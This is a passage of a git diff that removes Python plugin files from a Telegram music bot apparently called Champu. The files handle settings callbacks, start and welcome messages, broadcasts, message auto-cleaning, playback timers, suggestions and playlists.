get_aud_bit_name(CallbackQuery.message.chat.id) - buttons = await gen_buttons_aud(_, aud) - if command == "VQ": - try: - await CallbackQuery.answer(_["set_cb_2"], show_alert=True) - except: - pass - aud = await get_vid_bit_name(CallbackQuery.message.chat.id) - buttons = await gen_buttons_vid(_, aud) - if command == "PM": - try: - await CallbackQuery.answer(_["set_cb_4"], show_alert=True) - except: - pass - playmode = await get_playmode(CallbackQuery.message.chat.id) - if playmode == "Direct": - Direct = True - else: - Direct = None - is_non_admin = await is_nonadmin_chat( - CallbackQuery.message.chat.id - ) - if not is_non_admin: - Group = True - else: - Group = None - playty = await get_playtype(CallbackQuery.message.chat.id) - if playty == "Everyone": - Playtype = None - else: - Playtype = True - buttons = playmode_users_markup(_, Direct, Group, Playtype) - if command == "AU": - try: - await CallbackQuery.answer(_["set_cb_3"], show_alert=True) - except: - pass - is_non_admin = await is_nonadmin_chat( - CallbackQuery.message.chat.id - ) - if not is_non_admin: - buttons = auth_users_markup(_, True) - else: - buttons = auth_users_markup(_) - try: - return await CallbackQuery.edit_message_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - except MessageNotModified: - return - - -# Audio Video Quality - - -@app.on_callback_query( - filters.regex(pattern=r"^(LQA|MQA|HQA|LQV|MQV|HQV)$") - & ~BANNED_USERS -) -@ActualAdminCB -async def aud_vid_cb(client, CallbackQuery, _): - command = CallbackQuery.matches[0].group(1) - try: - await CallbackQuery.answer(_["set_cb_6"], show_alert=True) - except: - pass - if command == "LQA": - await save_audio_bitrate(CallbackQuery.message.chat.id, "Low") - buttons = audio_quality_markup(_, low=True) - if command == "MQA": - await save_audio_bitrate( - CallbackQuery.message.chat.id, "Medium" - ) - buttons = audio_quality_markup(_, medium=True) - if command == "HQA": - await save_audio_bitrate( - CallbackQuery.message.chat.id, "High" - ) - buttons = audio_quality_markup(_, high=True) - if command == "LQV": - await save_video_bitrate(CallbackQuery.message.chat.id, "Low") - buttons = video_quality_markup(_, low=True) - if command == "MQV": - await save_video_bitrate( - CallbackQuery.message.chat.id, "Medium" - ) - buttons = video_quality_markup(_, medium=True) - if command == "HQV": - await save_video_bitrate( - CallbackQuery.message.chat.id, "High" - ) - buttons = video_quality_markup(_, high=True) - try: - return await CallbackQuery.edit_message_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - except MessageNotModified: - return - - -# Play Mode Settings -@app.on_callback_query( - filters.regex( - pattern=r"^(|MODECHANGE|CHANNELMODECHANGE|PLAYTYPECHANGE)$" - ) - & ~BANNED_USERS -) -@ActualAdminCB -async def playmode_ans(client, CallbackQuery, _): - command = CallbackQuery.matches[0].group(1) - if command == "CHANNELMODECHANGE": - is_non_admin = await is_nonadmin_chat( - CallbackQuery.message.chat.id - ) - if not is_non_admin: - await add_nonadmin_chat(CallbackQuery.message.chat.id) - Group = None - else: - await remove_nonadmin_chat(CallbackQuery.message.chat.id) - Group = True - playmode = await get_playmode(CallbackQuery.message.chat.id) - if playmode == "Direct": - Direct = True - else: - Direct = None - playty = await get_playtype(CallbackQuery.message.chat.id) - if playty == "Everyone": - Playtype = None - else: - Playtype = True - buttons = playmode_users_markup(_, Direct, Group, Playtype) - if command == "MODECHANGE": - try: - await CallbackQuery.answer(_["set_cb_6"], show_alert=True) - except: - pass - playmode = await get_playmode(CallbackQuery.message.chat.id) - if playmode == "Direct": - await set_playmode( - CallbackQuery.message.chat.id, "Inline" - ) - Direct = None - else: - await set_playmode( - CallbackQuery.message.chat.id, "Direct" - ) - Direct = True - is_non_admin = await is_nonadmin_chat( - CallbackQuery.message.chat.id - ) - if not is_non_admin: - Group = True - else: - Group = None - playty = await get_playtype(CallbackQuery.message.chat.id) - if playty == "Everyone": - Playtype = False - else: - Playtype = True - buttons = playmode_users_markup(_, Direct, Group, Playtype) - if command == "PLAYTYPECHANGE": - try: - await CallbackQuery.answer(_["set_cb_6"], show_alert=True) - except: - pass - playty = await get_playtype(CallbackQuery.message.chat.id) - if playty == "Everyone": - await set_playtype(CallbackQuery.message.chat.id, "Admin") - Playtype = False - else: - await set_playtype( - CallbackQuery.message.chat.id, "Everyone" - ) - Playtype = True - playmode = await get_playmode(CallbackQuery.message.chat.id) - if playmode == "Direct": - Direct = True - else: - Direct = None - is_non_admin = await is_nonadmin_chat( - CallbackQuery.message.chat.id - ) - if not is_non_admin: - Group = True - else: - Group = None - buttons = playmode_users_markup(_, Direct, Group, Playtype) - try: - return await CallbackQuery.edit_message_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - except MessageNotModified: - return - - -# Auth Users Settings -@app.on_callback_query( - filters.regex(pattern=r"^(AUTH|AUTHLIST)$") & ~BANNED_USERS -) -@ActualAdminCB -async def authusers_mar(client, CallbackQuery, _): - command = CallbackQuery.matches[0].group(1) - if command == "AUTHLIST": - _authusers = await get_authuser_names( - CallbackQuery.message.chat.id - ) - if not _authusers: - try: - return await CallbackQuery.answer( - _["setting_5"], show_alert=True - ) - except: - return - else: - try: - await CallbackQuery.answer( - _["set_cb_7"], show_alert=True - ) - except: - pass - j = 0 - await CallbackQuery.edit_message_text(_["auth_6"]) - msg = _["auth_7"] - for note in _authusers: - _note = await get_authuser( - CallbackQuery.message.chat.id, note - ) - user_id = _note["auth_user_id"] - admin_id = _note["admin_id"] - admin_name = _note["admin_name"] - try: - user = await client.get_users(user_id) - user = user.first_name - j += 1 - except Exception: - continue - msg += f"{j}➤ {user}[`{user_id}`]\n" - msg += ( - f" {_['auth_8']} {admin_name}[`{admin_id}`]\n\n" - ) - upl = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text=_["BACK_BUTTON"], callback_data=f"AU" - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], - callback_data=f"close", - ), - ] - ] - ) - try: - return await CallbackQuery.edit_message_text( - msg, reply_markup=upl - ) - except MessageNotModified: - return - try: - await CallbackQuery.answer(_["set_cb_6"], show_alert=True) - except: - pass - if command == "AUTH": - is_non_admin = await is_nonadmin_chat( - CallbackQuery.message.chat.id - ) - if not is_non_admin: - await add_nonadmin_chat(CallbackQuery.message.chat.id) - buttons = auth_users_markup(_) - else: - await remove_nonadmin_chat(CallbackQuery.message.chat.id) - buttons = auth_users_markup(_, True) - try: - return await CallbackQuery.edit_message_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - except MessageNotModified: - return - - -## Clean Mode - - -@app.on_callback_query( - filters.regex( - pattern=r"^(CLEANMODE|COMMANDELMODE|SUGGESTIONCHANGE)$" - ) - & ~BANNED_USERS -) -@ActualAdminCB -async def cleanmode_mark(client, CallbackQuery, _): - command = CallbackQuery.matches[0].group(1) - try: - await CallbackQuery.answer(_["set_cb_6"], show_alert=True) - except: - pass - if command == "CLEANMODE": - sta = None - if await is_commanddelete_on(CallbackQuery.message.chat.id): - sta = True - sug = None - if await is_suggestion(CallbackQuery.message.chat.id): - sug = True - cle = None - if await is_cleanmode_on(CallbackQuery.message.chat.id): - await cleanmode_off(CallbackQuery.message.chat.id) - else: - await cleanmode_on(CallbackQuery.message.chat.id) - cle = True - buttons = cleanmode_settings_markup( - _, status=cle, dels=sta, sug=sug - ) - return await CallbackQuery.edit_message_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - if command == "COMMANDELMODE": - cle = None - sta = None - if await is_cleanmode_on(CallbackQuery.message.chat.id): - cle = True - sug = None - if await is_suggestion(CallbackQuery.message.chat.id): - sug = True - if await is_commanddelete_on(CallbackQuery.message.chat.id): - await commanddelete_off(CallbackQuery.message.chat.id) - else: - await commanddelete_on(CallbackQuery.message.chat.id) - sta = True - buttons = cleanmode_settings_markup( - _, status=cle, dels=sta, sug=sug - ) - if command == "SUGGESTIONCHANGE": - cle = None - sta = None - if await is_cleanmode_on(CallbackQuery.message.chat.id): - cle = True - if await is_commanddelete_on(CallbackQuery.message.chat.id): - sta = True - if await is_suggestion(CallbackQuery.message.chat.id): - await suggestion_off(CallbackQuery.message.chat.id) - sug = False - else: - await suggestion_on(CallbackQuery.message.chat.id) - sug = True - buttons = cleanmode_settings_markup( - _, status=cle, dels=sta, sug=sug - ) - try: - return await CallbackQuery.edit_message_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - except MessageNotModified: - return diff --git a/Champu/plugins/bot/start.py b/Champu/plugins/bot/start.py deleted file mode 100644 index ead184d..0000000 --- a/Champu/plugins/bot/start.py +++ /dev/null @@ -1,286 +0,0 @@ -import asyncio - -from pyrogram import filters -from pyrogram.types import (InlineKeyboardButton, - InlineKeyboardMarkup, Message) -from youtubesearchpython.__future__ import VideosSearch - -import config -from config import BANNED_USERS -from config.config import OWNER_ID -from strings import get_command, get_string -from Champu import Telegram, YouTube, app -from Champu.misc import SUDOERS -from Champu.plugins.play.playlist import del_plist_msg -from Champu.plugins.sudo.sudoers import sudoers_list -from Champu.utils.database import (add_served_chat, - add_served_user, - blacklisted_chats, - get_assistant, get_lang, - get_userss, is_on_off, - is_served_private_chat) -from Champu.utils.decorators.language import LanguageStart -from Champu.utils.inline import (help_pannel, private_panel, - start_pannel) - -loop = asyncio.get_running_loop() - - -@app.on_message( - filters.command(get_command("START_COMMAND")) - & filters.private - & ~filters.edited - & ~BANNED_USERS -) -@LanguageStart -async def start_comm(client, message: Message, _): - await add_served_user(message.from_user.id) - if len(message.text.split()) > 1: - name = message.text.split(None, 1)[1] - if name[0:4] == "help": - keyboard = help_pannel(_) - return await message.reply_text( - _["help_1"], reply_markup=keyboard - ) - if name[0:4] == "song": - return await message.reply_text(_["song_2"]) - if name[0:3] == "sta": - m = await message.reply_text( - "🔎 Fetching your personal stats.!" - ) - stats = await get_userss(message.from_user.id) - tot = len(stats) - if not stats: - await asyncio.sleep(1) - return await m.edit(_["ustats_1"]) - - def get_stats(): - msg = "" - limit = 0 - results = {} - for i in stats: - top_list = stats[i]["spot"] - results[str(i)] = top_list - list_arranged = dict( - sorted( - results.items(), - key=lambda item: item[1], - reverse=True, - ) - ) - if not results: - return m.edit(_["ustats_1"]) - tota = 0 - videoid = None - for vidid, count in list_arranged.items(): - tota += count - if limit == 10: - continue - if limit == 0: - videoid = vidid - limit += 1 - details = stats.get(vidid) - title = (details["title"][:35]).title() - if vidid == "telegram": - msg += f"🔗[Telegram Files and Audios](https://t.me/telegram) ** played {count} times**\n\n" - else: - msg += f"🔗 [{title}](https://www.youtube.com/watch?v={vidid}) ** played {count} times**\n\n" - msg = _["ustats_2"].format(tot, tota, limit) + msg - return videoid, msg - - try: - videoid, msg = await loop.run_in_executor( - None, get_stats - ) - except Exception as e: - print(e) - return - thumbnail = await YouTube.thumbnail(videoid, True) - await m.delete() - await message.reply_photo(photo=thumbnail, caption=msg) - return - if name[0:3] == "sud": - await sudoers_list(client=client, message=message, _=_) - if await is_on_off(config.LOG): - sender_id = message.from_user.id - sender_name = message.from_user.first_name - return await app.send_message( - config.LOG_GROUP_ID, - f"{message.from_user.mention} has just started bot to check SUDOLIST\n\n**USER ID:** {sender_id}\n**USER NAME:** {sender_name}", - ) - return - if name[0:3] == "lyr": - query = (str(name)).replace("lyrics_", "", 1) - lyrical = config.lyrical - lyrics = lyrical.get(query) - if lyrics: - return await Telegram.send_split_text(message, lyrics) - else: - return await message.reply_text( - "Failed to get lyrics." - ) - if name[0:3] == "del": - await del_plist_msg(client=client, message=message, _=_) - if name[0:3] == "inf": - m = await message.reply_text("🔎 Fetching Info!") - query = (str(name)).replace("info_", "", 1) - query = f"https://www.youtube.com/watch?v={query}" - results = VideosSearch(query, limit=1) - for result in (await results.next())["result"]: - title = result["title"] - duration = result["duration"] - views = result["viewCount"]["short"] - thumbnail = result["thumbnails"][0]["url"].split("?")[ - 0 - ] - channellink = result["channel"]["link"] - channel = result["channel"]["name"] - link = result["link"] - published = result["publishedTime"] - searched_text = f""" -🔍__**Video Track Information**__ - -❇️**Title:** {title} - -⏳**Duration:** {duration} Mins -👀**Views:** `{views}` -⏰**Published Time:** {published} -🎥**Channel Name:** {channel} -📎**Channel Link:** [Visit From Here]({channellink}) -🔗**Video Link:** [Link]({link}) - -⚡️ __Searched Powered By {config.MUSIC_BOT_NAME}__""" - key = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text="🎥 Watch ", url=f"{link}" - ), - InlineKeyboardButton( - text="🔄 Close", callback_data="close" - ), - ], - ] - ) - await m.delete() - await app.send_photo( - message.chat.id, - photo=thumbnail, - caption=searched_text, - parse_mode="markdown", - reply_markup=key, - ) - if await is_on_off(config.LOG): - sender_id = message.from_user.id - sender_name = message.from_user.first_name - return await app.send_message( - config.LOG_GROUP_ID, - f"{message.from_user.mention} has just started bot to check VIDEO INFORMATION\n\n**USER ID:** {sender_id}\n**USER NAME:** {sender_name}", - ) - else: - try: - await app.resolve_peer(OWNER_ID[0]) - OWNER = OWNER_ID[0] - except: - OWNER = None - out = private_panel(_, app.username, OWNER) - if config.START_IMG_URL: - try: - await message.reply_photo( - photo=config.START_IMG_URL, - caption=_["start_2"].format( - config.MUSIC_BOT_NAME - ), - reply_markup=InlineKeyboardMarkup(out), - ) - except: - await message.reply_text( - _["start_2"].format(config.MUSIC_BOT_NAME), - reply_markup=InlineKeyboardMarkup(out), - ) - else: - await message.reply_text( - _["start_2"].format(config.MUSIC_BOT_NAME), - reply_markup=InlineKeyboardMarkup(out), - ) - if await is_on_off(config.LOG): - sender_id = message.from_user.id - sender_name = message.from_user.first_name - return await app.send_message( - config.LOG_GROUP_ID, - f"{message.from_user.mention} has just started Bot.\n\n**USER ID:** {sender_id}\n**USER NAME:** {sender_name}", - ) - - -@app.on_message( - filters.command(get_command("START_COMMAND")) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@LanguageStart -async def testbot(client, message: Message, _): - out = start_pannel(_) - return await message.reply_text( - _["start_1"].format( - message.chat.title, config.MUSIC_BOT_NAME - ), - reply_markup=InlineKeyboardMarkup(out), - ) - - -welcome_group = 2 - - -@app.on_message(filters.new_chat_members, group=welcome_group) -async def welcome(client, message: Message): - chat_id = message.chat.id - if config.PRIVATE_BOT_MODE == str(True): - if not await is_served_private_chat(message.chat.id): - await message.reply_text( - "**Private Music Bot**\n\nOnly for authorized chats from the owner. Ask my owner to allow your chat first." - ) - return await app.leave_chat(message.chat.id) - else: - await add_served_chat(chat_id) - for member in message.new_chat_members: - try: - language = await get_lang(message.chat.id) - _ = get_string(language) - if member.id == app.id: - chat_type = message.chat.type - if chat_type != "supergroup": - await message.reply_text(_["start_6"]) - return await app.leave_chat(message.chat.id) - if chat_id in await blacklisted_chats(): - await message.reply_text( - _["start_7"].format( - f"https://t.me/{app.username}?start=sudolist" - ) - ) - return await app.leave_chat(chat_id) - userbot = await get_assistant(message.chat.id) - out = start_pannel(_) - await message.reply_text( - _["start_3"].format( - config.MUSIC_BOT_NAME, - userbot.username, - userbot.id, - ), - reply_markup=InlineKeyboardMarkup(out), - ) - if member.id in config.OWNER_ID: - return await message.reply_text( - _["start_4"].format( - config.MUSIC_BOT_NAME, member.mention - ) - ) - if member.id in SUDOERS: - return await message.reply_text( - _["start_5"].format( - config.MUSIC_BOT_NAME, member.mention - ) - ) - return - except: - return diff --git a/Champu/plugins/misc/cleanmode.py b/Champu/plugins/misc/cleanmode.py deleted file mode 100644 index e2128e4..0000000 --- a/Champu/plugins/misc/cleanmode.py +++ /dev/null @@ -1,270 +0,0 @@ -import asyncio -from datetime import datetime, timedelta - -from pyrogram import filters -from pyrogram.errors import FloodWait -from pyrogram.raw import types - -import config -from config import adminlist, chatstats, clean, userstats -from strings import get_command -from Champu import app, userbot -from Champu.misc import SUDOERS -from Champu.utils.database import (get_active_chats, - get_authuser_names, get_client, - get_particular_top, - get_served_chats, - get_served_users, get_user_top, - is_cleanmode_on, set_queries, - update_particular_top, - update_user_top) -from Champu.utils.decorators.language import language -from Champu.utils.formatters import alpha_to_int - -BROADCAST_COMMAND = get_command("BROADCAST_COMMAND") -AUTO_DELETE = config.CLEANMODE_DELETE_MINS -AUTO_SLEEP = 5 -IS_BROADCASTING = False -cleanmode_group = 15 - - -@app.on_raw_update(group=cleanmode_group) -async def clean_mode(client, update, users, chats): - global IS_BROADCASTING - if IS_BROADCASTING: - return - try: - if not isinstance(update, types.UpdateReadChannelOutbox): - return - except: - return - if users: - return - if chats: - return - message_id = update.max_id - chat_id = int(f"-100{update.channel_id}") - if not await is_cleanmode_on(chat_id): - return - if chat_id not in clean: - clean[chat_id] = [] - time_now = datetime.now() - put = { - "msg_id": message_id, - "timer_after": time_now + timedelta(minutes=AUTO_DELETE), - } - clean[chat_id].append(put) - await set_queries(1) - - -@app.on_message(filters.command(BROADCAST_COMMAND) & SUDOERS) -@language -async def braodcast_message(client, message, _): - global IS_BROADCASTING - if message.reply_to_message: - x = message.reply_to_message.message_id - y = message.chat.id - else: - if len(message.command) < 2: - return await message.reply_text(_["broad_5"]) - query = message.text.split(None, 1)[1] - if "-pin" in query: - query = query.replace("-pin", "") - if "-nobot" in query: - query = query.replace("-nobot", "") - if "-pinloud" in query: - query = query.replace("-pinloud", "") - if "-assistant" in query: - query = query.replace("-assistant", "") - if "-user" in query: - query = query.replace("-user", "") - if query == "": - return await message.reply_text(_["broad_6"]) - - IS_BROADCASTING = True - - # Bot broadcast inside chats - if "-nobot" not in message.text: - sent = 0 - pin = 0 - chats = [] - schats = await get_served_chats() - for chat in schats: - chats.append(int(chat["chat_id"])) - for i in chats: - if i == -1001733534088: - continue - try: - m = ( - await app.forward_messages(i, y, x) - if message.reply_to_message - else await app.send_message(i, text=query) - ) - if "-pin" in message.text: - try: - await m.pin(disable_notification=True) - pin += 1 - except Exception: - continue - elif "-pinloud" in message.text: - try: - await m.pin(disable_notification=False) - pin += 1 - except Exception: - continue - sent += 1 - except FloodWait as e: - flood_time = int(e.x) - if flood_time > 200: - continue - await asyncio.sleep(flood_time) - except Exception: - continue - try: - await message.reply_text(_["broad_1"].format(sent, pin)) - except: - pass - - # Bot broadcasting to users - if "-user" in message.text: - susr = 0 - served_users = [] - susers = await get_served_users() - for user in susers: - served_users.append(int(user["user_id"])) - for i in served_users: - try: - m = ( - await app.forward_messages(i, y, x) - if message.reply_to_message - else await app.send_message(i, text=query) - ) - susr += 1 - except FloodWait as e: - flood_time = int(e.x) - if flood_time > 200: - continue - await asyncio.sleep(flood_time) - except Exception: - pass - try: - await message.reply_text(_["broad_7"].format(susr)) - except: - pass - - # Bot broadcasting by assistant - if "-assistant" in message.text: - aw = await message.reply_text(_["broad_2"]) - text = _["broad_3"] - from Champu.core.userbot import assistants - - for num in assistants: - sent = 0 - client = await get_client(num) - async for dialog in client.iter_dialogs(): - if dialog.chat.id == -1001733534088: - continue - try: - await client.forward_messages( - dialog.chat.id, y, x - ) if message.reply_to_message else await client.send_message( - dialog.chat.id, text=query - ) - sent += 1 - except FloodWait as e: - flood_time = int(e.x) - if flood_time > 200: - continue - await asyncio.sleep(flood_time) - except Exception as e: - print(e) - continue - text += _["broad_4"].format(num, sent) - try: - await aw.edit_text(text) - except: - pass - IS_BROADCASTING = False - - -async def auto_clean(): - while not await asyncio.sleep(AUTO_SLEEP): - try: - for chat_id in chatstats: - for dic in chatstats[chat_id]: - vidid = dic["vidid"] - title = dic["title"] - chatstats[chat_id].pop(0) - spot = await get_particular_top(chat_id, vidid) - if spot: - spot = spot["spot"] - next_spot = spot + 1 - new_spot = {"spot": next_spot, "title": title} - await update_particular_top( - chat_id, vidid, new_spot - ) - else: - next_spot = 1 - new_spot = {"spot": next_spot, "title": title} - await update_particular_top( - chat_id, vidid, new_spot - ) - for user_id in userstats: - for dic in userstats[user_id]: - vidid = dic["vidid"] - title = dic["title"] - userstats[user_id].pop(0) - spot = await get_user_top(user_id, vidid) - if spot: - spot = spot["spot"] - next_spot = spot + 1 - new_spot = {"spot": next_spot, "title": title} - await update_user_top( - user_id, vidid, new_spot - ) - else: - next_spot = 1 - new_spot = {"spot": next_spot, "title": title} - await update_user_top( - user_id, vidid, new_spot - ) - except: - continue - try: - for chat_id in clean: - if chat_id == config.LOG_GROUP_ID: - continue - for x in clean[chat_id]: - if datetime.now() > x["timer_after"]: - try: - await app.delete_messages( - chat_id, x["msg_id"] - ) - except FloodWait as e: - await asyncio.sleep(e.x) - except: - continue - else: - continue - except: - continue - try: - served_chats = await get_active_chats() - for chat_id in served_chats: - if chat_id not in adminlist: - adminlist[chat_id] = [] - admins = await app.get_chat_members( - chat_id, filter="administrators" - ) - for user in admins: - if user.can_manage_voice_chats: - adminlist[chat_id].append(user.user.id) - authusers = await get_authuser_names(chat_id) - for user in authusers: - user_id = await alpha_to_int(user) - adminlist[chat_id].append(user_id) - except: - continue - - -asyncio.create_task(auto_clean()) diff --git a/Champu/plugins/misc/seeker.py b/Champu/plugins/misc/seeker.py deleted file mode 100644 index 2cc5666..0000000 --- a/Champu/plugins/misc/seeker.py +++ /dev/null @@ -1,94 +0,0 @@ -import asyncio - -from pyrogram.types import InlineKeyboardMarkup - -from strings import get_string -from Champu.misc import db -from Champu.utils.database import (get_active_chats, get_lang, - is_music_playing) -from Champu.utils.formatters import seconds_to_min -from Champu.utils.inline import (stream_markup_timer, - telegram_markup_timer) - -from ..admins.callback import wrong - -checker = {} - - -async def timer(): - while not await asyncio.sleep(1): - active_chats = await get_active_chats() - for chat_id in active_chats: - if not await is_music_playing(chat_id): - continue - playing = db.get(chat_id) - if not playing: - continue - file_path = playing[0]["file"] - if "index_" in file_path or "live_" in file_path: - continue - duration = int(playing[0]["seconds"]) - if duration == 0: - continue - db[chat_id][0]["played"] += 1 - - -asyncio.create_task(timer()) - - -async def markup_timer(): - while not await asyncio.sleep(4): - active_chats = await get_active_chats() - for chat_id in active_chats: - try: - if not await is_music_playing(chat_id): - continue - playing = db.get(chat_id) - if not playing: - continue - duration_seconds = int(playing[0]["seconds"]) - if duration_seconds == 0: - continue - try: - mystic = playing[0]["mystic"] - markup = playing[0]["markup"] - except: - continue - try: - check = wrong[chat_id][mystic.message_id] - if check is False: - continue - except: - pass - try: - language = await get_lang(chat_id) - _ = get_string(language) - except: - _ = get_string("en") - try: - buttons = ( - stream_markup_timer( - _, - playing[0]["vidid"], - chat_id, - seconds_to_min(playing[0]["played"]), - playing[0]["dur"], - ) - if markup == "stream" - else telegram_markup_timer( - _, - chat_id, - seconds_to_min(playing[0]["played"]), - playing[0]["dur"], - ) - ) - await mystic.edit_reply_markup( - reply_markup=InlineKeyboardMarkup(buttons) - ) - except: - continue - except: - continue - - -asyncio.create_task(markup_timer()) diff --git a/Champu/plugins/misc/suggestion.py b/Champu/plugins/misc/suggestion.py deleted file mode 100644 index 44821e6..0000000 --- a/Champu/plugins/misc/suggestion.py +++ /dev/null @@ -1,80 +0,0 @@ -import asyncio -import random -from datetime import datetime, timedelta - -import config -from config import clean -from strings import get_string -from Champu import app -from Champu.utils.database import (get_lang, - get_private_served_chats, - get_served_chats, - is_suggestion) - -LEAVE_TIME = config.AUTO_SUGGESTION_TIME - - -strings = [] -suggestor = {} - -for item in get_string("en"): - if item[0:3] == "sug" and item != "sug_0": - strings.append(item) - - -async def dont_do_this(): - if config.AUTO_SUGGESTION_MODE == str(True): - while not await asyncio.sleep(LEAVE_TIME): - try: - chats = [] - if config.PRIVATE_BOT_MODE == str(True): - schats = await get_private_served_chats() - else: - schats = await get_served_chats() - for chat in schats: - chats.append(int(chat["chat_id"])) - total = len(chats) - if total >= 100: - total //= 10 - send_to = 0 - random.shuffle(chats) - for x in chats: - if send_to == total: - break - if x == config.LOG_GROUP_ID: - continue - if not await is_suggestion(x): - continue - try: - language = await get_lang(x) - _ = get_string(language) - except: - _ = get_string("en") - string = random.choice(strings) - previous = suggestor.get(x) - if previous: - while previous == (string.split("_")[1]): - string = random.choice(strings) - suggestor[x] = string.split("_")[1] - try: - msg = _["sug_0"] + _[string] - sent = await app.send_message(x, msg) - if x not in clean: - clean[x] = [] - time_now = datetime.now() - put = { - "msg_id": sent.message_id, - "timer_after": time_now - + timedelta( - minutes=config.CLEANMODE_DELETE_MINS - ), - } - clean[x].append(put) - send_to += 1 - except: - pass - except: - pass - - -asyncio.create_task(dont_do_this()) diff --git a/Champu/plugins/play/channel.py b/Champu/plugins/play/channel.py deleted file mode 100644 index e8bbc06..0000000 --- a/Champu/plugins/play/channel.py +++ /dev/null @@ -1,68 +0,0 @@ -from pyrogram import filters -from pyrogram.types import Message - -from config import BANNED_USERS -from strings import get_command -from Champu import app -from Champu.utils.database import set_cmode -from Champu.utils.decorators.admins import AdminActual - -### Multi-Lang Commands -CHANNELPLAY_COMMAND = get_command("CHANNELPLAY_COMMAND") - - -@app.on_message( - filters.command(CHANNELPLAY_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@AdminActual -async def playmode_(client, message: Message, _): - if len(message.command) < 2: - return await message.reply_text( - _["cplay_1"].format( - message.chat.title, CHANNELPLAY_COMMAND[0] - ) - ) - query = message.text.split(None, 2)[1].lower().strip() - if (str(query)).lower() == "disable": - await set_cmode(message.chat.id, None) - return await message.reply_text("Channel Play Disabled") - elif str(query) == "linked": - chat = await app.get_chat(message.chat.id) - if chat.linked_chat: - chat_id = chat.linked_chat.id - await set_cmode(message.chat.id, chat_id) - return await message.reply_text( - _["cplay_3"].format( - chat.linked_chat.title, chat.linked_chat.id - ) - ) - else: - return await message.reply_text(_["cplay_2"]) - else: - try: - chat = await app.get_chat(query) - except: - return await message.reply_text(_["cplay_4"]) - if chat.type != "channel": - return await message.reply_text(_["cplay_5"]) - try: - admins = await app.get_chat_members( - chat.id, filter="administrators" - ) - except: - return await message.reply_text(_["cplay_4"]) - for users in admins: - if users.status == "creator": - creatorusername = users.user.username - creatorid = users.user.id - if creatorid != message.from_user.id: - return await message.reply_text( - _["cplay_6"].format(chat.title, creatorusername) - ) - await set_cmode(message.chat.id, chat.id) - return await message.reply_text( - _["cplay_3"].format(chat.title, chat.id) - ) diff --git a/Champu/plugins/play/playlist.py b/Champu/plugins/play/playlist.py deleted file mode 100644 index 64a6980..0000000 --- a/Champu/plugins/play/playlist.py +++ /dev/null @@ -1,332 +0,0 @@ -import os -from random import randint - -from pykeyboard import InlineKeyboard -from pyrogram import filters -from pyrogram.types import (InlineKeyboardButton, - InlineKeyboardMarkup, Message) - -from config import BANNED_USERS, SERVER_PLAYLIST_LIMIT -from strings import get_command -from Champu import Carbon, YouTube, app -from Champu.utils.database import (delete_playlist, get_playlist, - get_playlist_names, - save_playlist) -from Champu.utils.decorators.language import language, languageCB -from Champu.utils.inline.playlist import (botplaylist_markup, - get_playlist_markup, - warning_markup) -from Champu.utils.pastebin import Champubin -from Champu.utils.stream.stream import stream - -# Command -PLAYLIST_COMMAND = get_command("PLAYLIST_COMMAND") -DELETEPLAYLIST_COMMAND = get_command("DELETEPLAYLIST_COMMAND") - - -@app.on_message( - filters.command(PLAYLIST_COMMAND) - & ~filters.edited - & ~BANNED_USERS -) -@language -async def check_playlist(client, message: Message, _): - _playlist = await get_playlist_names(message.from_user.id) - if _playlist: - get = await message.reply_text(_["playlist_2"]) - else: - return await message.reply_text(_["playlist_3"]) - msg = _["playlist_4"] - count = 0 - for shikhar in _playlist: - _note = await get_playlist(message.from_user.id, shikhar) - title = _note["title"] - title = title.title() - duration = _note["duration"] - count += 1 - msg += f"\n\n{count}- {title[:70]}\n" - msg += _["playlist_5"].format(duration) - link = await Yukkibin(msg) - lines = msg.count("\n") - if lines >= 17: - car = os.linesep.join(msg.split(os.linesep)[:17]) - else: - car = msg - carbon = await Carbon.generate(car, randint(100, 10000000000)) - await get.delete() - await message.reply_photo( - carbon, caption=_["playlist_15"].format(link) - ) - - -@app.on_message( - filters.command(DELETEPLAYLIST_COMMAND) - & filters.group - & ~filters.edited - & ~BANNED_USERS -) -@language -async def del_group_message(client, message: Message, _): - upl = InlineKeyboardMarkup( - [ - [ - InlineKeyboardButton( - text=_["PL_B_6"], - url=f"https://t.me/{app.username}?start=delplaylists", - ), - ] - ] - ) - await message.reply_text(_["playlist_6"], reply_markup=upl) - - -async def get_keyboard(_, user_id): - keyboard = InlineKeyboard(row_width=5) - _playlist = await get_playlist_names(user_id) - count = len(_playlist) - for x in _playlist: - _note = await get_playlist(user_id, x) - title = _note["title"] - title = title.title() - keyboard.row( - InlineKeyboardButton( - text=title, - callback_data=f"del_playlist {x}", - ) - ) - keyboard.row( - InlineKeyboardButton( - text=_["PL_B_5"], - callback_data=f"delete_warning", - ), - InlineKeyboardButton( - text=_["CLOSE_BUTTON"], callback_data=f"close" - ), - ) - return keyboard, count - - -@app.on_message( - filters.command(DELETEPLAYLIST_COMMAND) - & filters.private - & ~filters.edited - & ~BANNED_USERS -) -@language -async def del_plist_msg(client, message: Message, _): - _playlist = await get_playlist_names(message.from_user.id) - if _playlist: - get = await message.reply_text(_["playlist_2"]) - else: - return await message.reply_text(_["playlist_3"]) - keyboard, count = await get_keyboard(_, message.from_user.id) - await get.edit_text( - _["playlist_7"].format(count), reply_markup=keyboard - ) - - -@app.on_callback_query(filters.regex("play_playlist") & ~BANNED_USERS) -@languageCB -async def play_playlist(client, CallbackQuery, _): - callback_data = CallbackQuery.data.strip() - mode = callback_data.split(None, 1)[1] - user_id = CallbackQuery.from_user.id - _playlist = await get_playlist_names(user_id) - if not _playlist: - try: - return await CallbackQuery.answer( - _["playlist_3"], - show_alert=True, - ) - except: - return - chat_id = CallbackQuery.message.chat.id - user_name = CallbackQuery.from_user.first_name - await CallbackQuery.message.delete() - result = [] - try: - await CallbackQuery.answer() - except: - pass - video = True if mode == "v" else None - mystic = await CallbackQuery.message.reply_text(_["play_1"]) - for vidids in _playlist: - result.append(vidids) - try: - await stream( - _, - mystic, - user_id, - result, - chat_id, - user_name, - CallbackQuery.message.chat.id, - video, - 